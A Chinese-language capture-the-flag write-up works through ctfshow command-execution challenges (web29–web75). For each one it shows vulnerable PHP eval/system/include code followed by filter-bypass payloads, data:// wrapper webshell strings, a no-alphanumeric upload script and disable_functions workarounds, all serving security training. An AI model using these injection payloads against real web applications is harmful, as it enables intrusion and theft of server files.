ctfshow-命令执行

命令执行

命令执行常见做题姿势

  1. *或?代替文件名全拼
  2. 用其它的命令执行函数代替被过滤的函数
  3. 用已知参数传入另一个无限制参数,构造木马
  4. 编码绕过
  5. include 不用括号 分号可用?>代替
  6. cat替换
  7. 内部字段分隔符$IFS
  8. grep
  9. 通配符匹配
  10. 无字母数字的webshell
  11. $(( ))与整数运算
  12. 脚本
  13. 复制重命名绕过
  14. fopen
  15. 路径读取
  16. 文件高亮
  17. 文件包含
  18. exit()
  19. mysql load_file读取文件
  20. 命令接口
  21. 等等

web29


error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

get传入c,没有匹配到flag的话,就执行

payload:
首先最常见的system命令,进行ls
?c=system("ls")
发现flag所在的文件
?c=cat f*
读取源码

web30

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

这道题多过滤掉了system和php

常见的命令执行函数

system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
反引号 同shell_exec() 

这里如果构建?c=echo exec("ls");的话,只会显示出index.php

通过?c=passthru("ls"); ?c=echo shell_exec("ls"); ?c=echo `ls`; ?c=echo shell_exec(“ls”);

都可以获得目标文件名,当然可能还有,只是我暂时水平有限

通过?c=echo shell_exec(“cat f*”); ?c=passthru(“tac f*”); ?c=echo `cat f*`;

nl也可以代替cat tac输出,会列出行号

都可以获得flag

web31


error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

又过滤了好多,不过照样有可以利用的函数,比如

?c=echo`ls`;

cat被过滤了

等效cat

more:一页一页的显示档案内容
less:与 more 类似 
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看 file -f:报错出具体内容 grep
1、在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行。此时,可以使用如下命令: grep test *file strings

c=eval($_GET[1]);&1=system('nl flag.php');
c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));
c=show_source(next(array_reverse(scandir(pos(localeconv())))));
c=echo(`nl%09fl[abc]*`);
c="\x73\x79\x73\x74\x65\x6d"("nl%09fl[a]*");等价于system()
c=echo`strings%09f*`;
c=echo`strings\$IFS\$9f*`必须加转义字符
还有其他姿势:
首先print_r(scandir(dirname(__FILE__)));查看当前目录下文件
然后找到flag.php
print_r(next(array_reverse(scandir(dirname(__FILE__)))));
之后高亮显示即可
c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));

这是Y4大佬的payload,不得不说有的payload看都看不懂

strings

用于打印文件中可打印字符串,文件可以是文本文件

作用

  1. 打印可执行文件中的所有可读字符串。
  2. 查看某一个字符串属于哪个文件。strings -f * | grep "xxx"

就简简单单通过第一个payload获得flag就可

web32

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

include

include不用括号,分号可以用?>代替

include函数传入的参数不能执行系统命令,只能使用php伪协议

用include传入无限制参数

?c=include$_REQUEST[888]?>&888=php://filter/convert.base64-encode/resource=flag.php
?c=include$_GET[1]?>&1=data://text/plain,<?php system("cat flag.php");?>
?c=include$_GET[1]?>&1=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==

web33

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

可以继续include

payload同上

两道题的cat命令都可以和nl互换

?c=include$_REQUEST[888]?>&888=php://filter/convert.base64-encode/resource=flag.php
?c=include$_GET[1]?>&1=data://text/plain,<?php system("cat flag.php");?>
?c=include$_GET[1]?>&1=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==

web34、35、36

同上

web37

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

data伪协议

php 5.2.0 起,数据流封装器开始有效,主要用于数据流的读取,如果传入的数据是PHP代码就会执行代码。使用方法为:

data://text/plain,base64,xxxx(base64编码后的数据)

构建payload

?c=data://text/plain,<?php system("nl fl*")?>
?c=data://text/palin;base64,PD9waHAgc3lzdGVtKCJubCBmbGEqIik7Pz4=   //<?php system("nl fla*");?>
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJubCBmbCoiKTs/Pg==   //<?php system("nl fl*");?>

日志包含

首先访问

?c=/var/log/nginx/access.log,找到日志文件,然后修改UA头为一句话木马,然后传参

web38


//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

日志包含

做法同上

data伪协议

c=data://text/palin;base64,PD9waHAgc3lzdGVtKCJubCBmbGEqIik7Pz4=

web39

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }
        
}else{
    highlight_file(__FILE__);
}

通过后缀限制了include,但是可以使用data伪协议,在本题中输入原文php代码,因为php代码已经闭合,故拼接的“.php”就以文本形式显示

payload:?c=data://text/plain,<?php system("nl fla*")?>

web40

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
} 

本道题几乎过滤了所有符号,根据提示

?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

虽然这种做法不清楚为什么

构造session_id绕过

c=session_start();system(session_id());
passid=ls

web42

if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}

/dev/null 2>&1

/dev/null 2>&1,让所有的输出流(包括错误的和正确的)都定向到空设备丢弃

输入的c的值要把后面截断

payload
?c=ls;%0A
?c=cat fla*;%0A

web43

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过滤cat

过滤了cat,可以使用tac nl more less tail vi 代替
payload
?c=ls%0a
?c=vi fla*%0a

web44

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

同上

过滤了cat,可以使用tac nl more less tail vi 代替
payload
?c=ls%0a
?c=vi fla*%0a

web45

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过滤空格

PHP中可以使用%09代替空格,horizontal-tab

过滤了cat,可以使用tac nl more less tail vi 代替
payload
?c=ls%0a
?c=vi%09fla*%0a

内联执行

反引号的输出作为输入执行

c=echo`nl\$IFS*`%0A

web46

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

多过滤数字和通配符

payload
?c=ls%0a
?c=vi%09fl??.php%0a
?c=more%09fl??.php%0a
?c=nl%09fla\g.php%0a

web47

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

和上一题没有什么区别,替换cat

payload
?c=ls%0a
?c=vi%09fl??.php%0a
?c=vi%09fla?.php%0A
?c=nl<fla''g.php||

web48



if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

还是没有过滤vi,继续payload

?c=ls%0a
?c=vi%09fl??.php%0a
?c=nl<fla''g.php||

web49


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

同上

?c=ls%0a
?c=vi%09fl??.php%0a

出自 Y4 佬的通杀payload

payload1:c=nl%09fla\g.php||
payload2:c=nl%09fla\g.php%0a
payload3:c=nl%09fla''g.php%0a
payload4:c=nl%09fla""g.php%0a
payload5:c=vi%09fla\g.php%0a
payload6:c=tac%09fla\g.php%0a
payload7:c=uniq%09fla\g.php%0a
payload8:c=nl<fla''g.php||
payload9:c=nl%09fla\g.php%26

web50


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过滤了%,水平tab键和&

||默认是前面执行成功不执行后面

payload8:c=nl<fla''g.php||
?c=nl<fla\g.php||

web51

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

和前一题一样

payload
c=nl<fla''g.php||
?c=nl<fla\g.php||

web52


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

过滤了<和|,但是没有过滤$,前几题的payload不能用了

$IFS

用到了Linux下的内部字段分隔符 $IFS

这里flag换到了根目录,不带php后缀

c=nl$IFS/fla\g||

web53

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        echo($c);
        $d = system($c);
        echo "<br>".$d;
    }else{
        echo 'no';
    }
}else{
    highlight_file(__FILE__);
} 

过滤了wget

?c=nl$IFS\fla\g.php
?c=c''at${IFS}fla''g.p''hp
?c=nl${IFS}fla''g.php
?c=nl${IFS}fla?.php

web54

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

grep匹配

用于查找文件里符合条件的字符串

?c=grep${IFS}'fla'${IFS}fla?.php

通配符匹配

?c=vi${IFS}f???.???
?c=uniq${IFS}f???.???
?c=/bin/c??${IFS}????????
?c=/bin/c??$IFS????????
?c=/bin/?at${IFS}f???????

使用通配符匹配bin目录下的cat

paste

paste file1 file2,将文件1和file2合并(但是并没有真的合并成一个文件),并且在终端显示,可以理解为打印file1 和 file2

mv

修改flag.php的名字后访问a.txt

?c=mv${IFS}fl?g.php${IFS}a.txt

web55

// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
} 

无字母数字的webshell

  1. 利用位运算
  2. 利用自增运算符
    1. shell下可以利用 . 来执行任意脚本
    2. Linux文件名支持用glob通配符代替

参考了P神的博客,还是迷迷瞪瞪的,又参考了Y4佬的脚本。。。。

import requests

while True:
    url = "http://f638cbee-f96e-437f-80a0-94ac178a44c9.challenge.ctf.show/?c=.+/???/????????[@-[]"
    r = requests.post(url, files={"file": ('1.php', b'cat flag.php')})
    if r.text.find("flag") >0:
        print(r.text)
        break


web56

// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

脚本

同样利用上面的脚本

import requests

while True:
    url = "http://7d31353d-0cf8-41bd-88fc-803726214886.challenge.ctf.show/?c=.+/???/????????[@-[]"
    r = requests.post(url, files={"file": ('1.php', b'cat flag.php')})
    if r.text.find("flag") >0:
        print(r.text)
        break

web57

// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
        system("cat ".$c.".php");
    }
}else{
    highlight_file(__FILE__);
} 

过滤掉数字,但是flag在36.php中

$(( ))与整数运算

在Ubantu环境下验证,有
请添加图片描述

构造流程

  1. ( ( ) ) 中 构 建 37 个 (())中构建37个 (())37((~$(("")))),即构建37个-1
$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))
  1. 在外面加$((~))进行取反运算
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

请添加图片描述

web58

从58题开始到77题,开始绕过disabled-function

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
} 

复制重命名绕过

通过复制或者重命名读取php文件内容,然后访问文件得到flag

copy("flag.php","flag.txt");
rename("flag.php","flag.txt"); 

获取文件路径

c=print_r(scandir(dirname('__FILE__')));  //找到当前文件所在路径,和在同一路径下的其他文件

通过单一路径读取文件

file_put_contents()		readfile()		file()  var_dump(file())	print_r(file())
c=echo file_get_contents("flag.php");
c=readfile("flag.php");
c=var_dump(file("flag.php"));
c=print_r(file("flag.php"));

fopen读取函数

fread()	fgets()	fgetc()	fgetss()  fgetcsv()	fpassthru()
$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetss($a);echo $line;}       //php7.3版本后 该函数已不再被使用
$a=fopen("flag.php","r");echo fpassthru($a);                                      
$a=fopen("flag.php","r");echo fread($a,"1000");          //读取前1000个字符                         $a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}//按行读取
$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}//按字符读取

高亮文件

show_source("flag.php");             
highlight_file("flag.php");   

web59

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
} 
先查找地址
c=print_r(scandir('./'));
c=print_r(scandir(dirname('__FILE__'))); 
高亮文件
c=highlight_file("flag.php");
c=show_source("flag.php");
单一路径读取
c=var_dump(file("flag.php"));
c=print_r(scandir('./'));
fopen读取
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);print_r($line);}
c=$a=fopen("flag.php","r");echo fread($a,"1000");
c=$a=fopen("flag.php","r");echo fpassthru($a);

web60

if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
} 

和上一题一样

先查找地址
c=print_r(scandir('./'));
c=print_r(scandir(dirname('__FILE__'))); 
高亮文件
c=highlight_file("flag.php");
c=show_source("flag.php");
单一路径读取
c=var_dump(file("flag.php"));		//此题禁用
c=print_r(scandir('./'));			//可读取路径
fopen读取
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}	//此题禁用
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);print_r($line);}
c=$a=fopen("flag.php","r");echo fread($a,"1000");		//此题禁用
c=$a=fopen("flag.php","r");echo fpassthru($a);		//此题禁用
复制文件内容访问新文件
c=copy("flag.php","flag.txt");
重命名文件,访问新文件
c=rename("flag.php","flag.txt"); 

web61

if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
} 

看上题payload,借以分析本题

先查找地址
c=print_r(scandir('./'));		//仍在本目录
c=print_r(scandir(dirname('__FILE__'))); 	//同样可以执行
c=print_r(scandir('./'));			//可读取路径
c=$a=opendir('./');while(($file = readdir($a)) !=false){echo $file." ";}//引入新的可用函数
c=print_r(scandir(current(localeconv())));//引入新的可用函数
高亮文件
c=highlight_file("flag.php");		//本题可以直接读取flag
c=show_source("flag.php");			//本题可以直接读取flag
单一路径读取
c=var_dump(file("flag.php"));		//此题禁用
fopen读取
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}	//此题禁用
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}	//此题禁用
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);print_r($line);}//加载半天
c=$a=fopen("flag.php","r");echo fread($a,"1000");		//此题禁用
c=$a=fopen("flag.php","r");echo fpassthru($a);		//此题禁用
复制文件内容访问新文件
c=copy("flag.php","flag.txt");		//此题禁用
重命名文件,访问新文件
c=rename("flag.php","flag.txt"); 	//此题禁用
新的绕过姿势
c=highlight_file(next(array_reverse(scandir(current(localeconv())))));

localeconv()

localeconv() 函数返回一个包含本地数字及货币格式信息的数组。

web62~65

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
} 
先查找地址
c=print_r(scandir('./'));		//仍在本目录
c=print_r(scandir(dirname('__FILE__'))); 	//同样可以执行
c=print_r(scandir('./'));			//可读取路径
c=$a=opendir('./');while(($file = readdir($a)) !=false){echo $file." ";}//引入新的可用函数
c=print_r(scandir(current(localeconv())));//引入新的可用函数
高亮文件
c=highlight_file("flag.php");		//本题可以直接读取flag
c=show_source("flag.php");			//本题可以直接读取flag
单一路径读取
c=var_dump(file("flag.php"));		//此题禁用
fopen读取
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}	//此题禁用
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}	//此题禁用
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);print_r($line);}//此题禁用
c=$a=fopen("flag.php","r");echo fread($a,"1000");		//此题禁用
c=$a=fopen("flag.php","r");echo fpassthru($a);		//此题禁用
复制文件内容访问新文件
c=copy("flag.php","flag.txt");		//此题禁用
重命名文件,访问新文件
c=rename("flag.php","flag.txt"); 	//此题禁用
新的绕过姿势
c=highlight_file(next(array_reverse(scandir(current(localeconv()))))); //本题可以直接读取flag

web66

if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
} 

通过c=highlight_file("flag.php");发现flag.php里面不是我们想要的flag,flag的位置变了

首先扫描目录的函数没有禁用,通过利用扫描函数发现flag在根目录里

即修改下面的.//去根目录里查找,flag为根目录下的flag.txt

先查找地址
c=print_r(scandir('./'));
c=print_r(scandir('/'));		//成功扫描到根目录
c=print_r(scandir(dirname('__FILE__')));
c=print_r(scandir('./'));
c=print_r(scandir('/'));		//成功扫描到根目录
c=$a=opendir('./');while(($file = readdir($a)) !=false){echo $file." ";}
c=$a=opendir('/');while(($file = readdir($a)) !=false){echo $file." ";} //成功扫描到根目录
c=print_r(scandir(current(localeconv())));
高亮文件
c=highlight_file("flag.php");		
c=highlight_file("/flag.txt");		//将路径切换至根目录,并访问flag.txt
c=show_source("flag.php");			//此题禁用
单一路径读取
c=var_dump(file("flag.php"));		//此题禁用
fopen读取
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}	//此题禁用
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}	//此题禁用
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);print_r($line);}//此题禁用
c=$a=fopen("flag.php","r");echo fread($a,"1000");		//此题禁用
c=$a=fopen("flag.php","r");echo fpassthru($a);		//此题禁用
复制文件内容访问新文件
c=copy("flag.php","flag.txt");		//此题禁用
重命名文件,访问新文件
c=rename("flag.php","flag.txt"); 	//此题禁用
新的绕过姿势
c=highlight_file(next(array_reverse(scandir(current(localeconv()))))); //读取的flag为相对路径下的

以后的fopen函数可能就都禁用了,就不再一一尝试了

web67

if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
} 

在上一题的基础上,尝试payload

文件包含

先查找地址
c=print_r(scandir('./'));		//此题禁用print_r,将print_r修改为var_dump
c=print_r(scandir('/'));		
c=print_r(scandir(dirname('__FILE__')));
c=var_dump(scandir(dirname('__FILE__')));  //引入新的姿势,成功发现flag.php,但不知真假
c=print_r(scandir('./'));
c=print_r(scandir('/'));		
c=var_dump(scandir('/'));		//扫描到根目录,发现根目录中存在flag.txt,猜测为真
c=$a=opendir('./');while(($file = readdir($a)) !=false){echo $file." ";}
c=$a=opendir('/');while(($file = readdir($a)) !=false){echo $file." ";} //成功扫描到根目录
c=print_r(scandir(current(localeconv())));
高亮文件
c=highlight_file("flag.php");		
c=highlight_file("/flag.txt");		//将路径切换至根目录,并访问flag.txt
c=show_source("flag.php");			//此题禁用
单一路径读取
c=var_dump(file("flag.php"));		//此题禁用
新的绕过姿势
c=highlight_file(next(array_reverse(scandir(current(localeconv()))))); //读取的flag为相对路径下的
文件包含
c=include('/flag.txt');
c=require('/flag.txt');
c=require_once('/flag.txt');
c=include_once('/flag.txt');

web68

直接禁用了highlight_file()函数,不过php代码和前几题一样,直接post传入c就可

先查找地址
c=print_r(scandir('./'));//此题禁用print_r,将print_r修改为var_dump或者var_export
c=var_dump(scandir('/'));//访问到根目录下的flag.txt
c=print_r(scandir('/'));		
c=print_r(scandir(dirname('__FILE__')));
c=var_dump(scandir(dirname('__FILE__')));  //引入新的姿势,成功发现flag.php,但不知真假
c=print_r(scandir('/'));		
c=$a=opendir('./');while(($file = readdir($a)) !=false){echo $file." ";}
c=$a=opendir('/');while(($file = readdir($a)) !=false){echo $file." ";} //成功扫描到根目录
c=print_r(scandir(current(localeconv())));
c=var_dump(scandir(current(localeconv())));
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}//成功扫描到根目录,原理暂不清楚

高亮文件  //此题禁用了高亮函数
c=highlight_file("flag.php");		
c=highlight_file("/flag.txt");		//将路径切换至根目录,并访问flag.txt
c=show_source("flag.php");			//此题禁用
单一路径读取
c=var_dump(file("flag.php"));		//此题禁用了file()函数
新的绕过姿势
c=highlight_file(next(array_reverse(scandir(current(localeconv()))))); //读取的flag为相对路径下的
文件包含			//四个文件包含函数均可以获得flag
c=include('/flag.txt');
c=require('/flag.txt');
c=require_once('/flag.txt');
c=include_once('/flag.txt');

web69

与上题相比,禁用了var_dump(),可以用var_export()代替,其余payload同上

web70

从网页的报警信息看出,此题已经禁用了error_reporting()、 ini_set()、highlight_file()函数,不过有回显,同上

web71

error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}

ob_get_contents()

返回输出缓冲区的内容,只是得到输出缓冲区的内容,但不清除它。

ob_end_clean()

清空(擦除)缓冲区并关闭输出缓冲

此函数丢弃最顶层输出缓冲区的内容并关闭这个缓冲区。如果想要进一步处理缓冲区的内容,必须在**ob_end_clean()之前调用ob_get_contents(),因为当调用ob_end_clean()**时缓冲区内容将被丢弃。

exit()

在本题中同时使用两个函数就会把缓冲区中的内容取出并删除,访问什么页面内容是变量s经过处理后的内容

所以输入的变量c最后需要把php闭合掉,使用exit()函数

根据上几题的payload,过滤掉了print_r()、var_dump()
使用var_export()来替换,获取路径
c=var_export(scandir('/'));       exit();
c=$a=opendir('/');while(($file = readdir($a)) !=false){echo $file." ";}       exit();
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}      exit();
根据路径,去根目录访问flag.txt
利用文件包含
c=include('/flag.txt');exit();
c=require('/flag.txt');exit();
c=require_once('/flag.txt');exit();
c=include_once('/flag.txt');exit();

web72

下载附件得源码

error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}

和上一题相同,payload直接使用就可,但是此题额外禁用了scandir()函数,而且不允许访问根目录,扫描当前目录发现flag.php

绕过open_basedir

根据上几题的payload,过滤掉了print_r()、var_dump(),不允许opendir和readdir访问根目录
使用var_export()来替换,获取路径
c=var_export(scandir('/'));       exit();
c=$a=opendir('./');while(($file = readdir($a)) !=false){echo $file." ";}       exit();		//读取当前路径发现有flag.php
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}      exit();
//读取到根目录,找到flag0.txt
根据路径,去根目录访问flag0.txt
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}exit();//成功扫描到根目录,原理暂不清楚
c=$a=opendir("glob:///*"); while (($file = readdir($a)) !== false){echo $file . "<br>"; };include("flagx.txt");exit();//可扫描到根目录
利用文件包含     //文件包含载此题禁用
c=include('/flag.txt');exit();
c=require('/flag.txt');exit();
c=require_once('/flag.txt');exit();
c=include_once('/flag.txt');exit();

利用群主大大给的脚本。。。链接奉上
https://github.com/mm0r1/exploits/blob/master/php7-backtrace-bypass/exploit.php

web73

根据上几题的payload,过滤掉了print_r()var_dump(),不允许opendir和readdir访问根目录
使用var_export()来替换,获取路径
c=var_export(scandir('/'));       exit();		
c=$a=opendir('./');while(($file = readdir($a)) !=false){echo $file." ";}       exit();		//读取当前目录
c=$a=opendir('/');while(($file = readdir($a)) !=false){echo $file." ";}       exit();		//读取根目录
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}      exit();
//读取到根目录,找到flagc.txt
c=$a=opendir("glob:///*"); while (($file = readdir($a)) !== false){echo $file . "<br>"; };include("flagx.txt");exit();//可扫描到根目录
根据路径,去根目录访问flagc.txt
利用文件包含     
c=include('/flagc.txt');exit();
c=require('/flagc.txt');exit();
c=require_once('/flagc.txt');exit();
c=include_once('/flagc.txt');exit();

web74

本题scandir()函数被禁用,其他的payload同上,查找到的文件名是flagx.txt,之后去根目录访问就可

web75

mysql load_file读取文件

根据上几题的payload,过滤掉了print_r()var_dump(),不允许opendir和readdir访问根目录
使用var_export()来替换,获取路径
c=var_export(scandir('/'));       exit();		//本题禁用
c=$a=opendir('./');while(($file = readdir($a)) !=false){echo $file." ";}       exit();		//读取当前目录,本题禁用
c=$a=opendir('/');while(($file = readdir($a)) !=false){echo $file." ";}       exit();		//读取根目录,本题禁用
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}      exit();
//读取到根目录,找到flag36.txt
